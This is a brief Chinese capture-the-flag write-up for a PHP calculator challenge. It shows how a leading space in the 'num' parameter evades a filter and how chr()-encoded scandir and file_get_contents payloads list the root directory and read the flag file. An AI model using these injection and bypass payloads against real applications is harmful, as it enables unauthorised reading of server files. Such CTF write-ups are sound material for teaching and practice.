打开题目

查看源码，看到

看到源代码有 calc.php，构造url打开

看到php审计代码，

由于页面中无法上传num，则输入 num，在num前加入一个空格可以让num变得可以上传，而且在进行代码解析时，php会把前面的空格去除。 

由于不能使用很多的字符，可以使用file_get_contents()函数，将ascii码转化为字符来绕过。

构造? num=var_dump(scandir(chr(47)))

scandair可以列出指定路径中的文件目录。

得到flag

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))